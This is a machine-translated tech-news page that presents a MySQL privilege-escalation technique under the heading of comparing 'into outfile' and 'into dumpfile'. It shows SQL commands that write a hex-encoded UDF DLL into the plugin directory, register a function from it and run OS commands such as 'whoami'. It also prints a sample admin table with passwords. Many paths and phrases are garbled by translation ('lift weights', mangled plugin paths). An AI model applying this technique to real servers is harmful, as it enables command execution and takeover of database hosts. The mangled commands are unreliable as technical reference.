In addition to Weibo, there is also WeChat
Please pay attention
WeChat public account
Shulou
2025-01-17 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Database >
Share
Shulou(Shulou.com)05/31 Report--
This article will explain in detail what is the difference between dumpfile and outfile functions in mysql. The content of the article is of high quality, so the editor will share it with you for reference. I hope you will have a certain understanding of the relevant knowledge after reading this article.
The following table is admin
Mysql > select * from admin
+-+
| | uid | name | pass | |
+-- +
| | 1 | admin | baidusb |
| | 2 | root | hacksb |
| | 3 | manage | nimei |
| | 4 | boss | helensb |
| | 5 | guanli | admin |
| | 6 | superuser | G0Ood |
+-- +
Mysql > select * from admin into outfile'/ home/seclab/test/test1.txt'
Query OK,1 row affected (0.00 sec)
I want to export these contents to a txt file, in fact, you can export each line of records.
This is very suitable for guiding the library.
And into dump is not good, it can only export a row of data!
If we want to export an executable binary file with the into outfile function
In fact, it will be destroyed after it is exported.
Because the into outfile function writes a new line at the end of the line, and more fatally, it escapes the newline character.
In this way, the binary executable file will be destroyed.
At this point, we can export a complete executable binary file with into dumpfile.
The into dumpfile function does not terminate any column or row, nor does it perform any escape processing
In an environment where there is no web script execution but there is mysql root execution, we can pass the
The into dump function is imported into udf.dll to lift weights.
Mysql > show variable like'% plugin%'
+-- +
| | Variable_name | Value |
+-- +
| | plugin_dir | c:\ mysql\ mysql server 5.1\ lib/plugin |
+-- +
Mysql > select unhex ('udf.dll hex code') into dumpfile' c:/mysql/mysql server 5.1, lib, plugin, xoo.dll'
Mysql > select * from func; # to see if anyone has created a udf. If so, you can omit it.
Mysql > create function MyCmd returns string soname''c:/mysql/mysql server 5.1max libdictionary plugin xxoo.dll'
Mysql > select MyCmd ('whoam')
A little bit of knowledge:
How do I get the hexadecimal value (hex) of this udf.dll file?
We can build the mysql environment locally and find an available udf.dll file to do the following
Mysql > select hex (load_file ('cGREGREGUGUR) tempUnix xxoo.dll')) into outfile 'cGunzaixoo.txt')
What is the difference between dumpfile and outfile functions in mysql is shared here. I hope the above content can be helpful to everyone and learn more knowledge. If you think the article is good, you can share it for more people to see.
Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.
Views: 0
*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.
Continue with the installation of the previous hadoop.First, install zookooper1. Decompress zookoope
"Every 5-10 years, there's a rare product, a really special, very unusual product that's the most un
© 2024 shulou.com SLNews company. All rights reserved.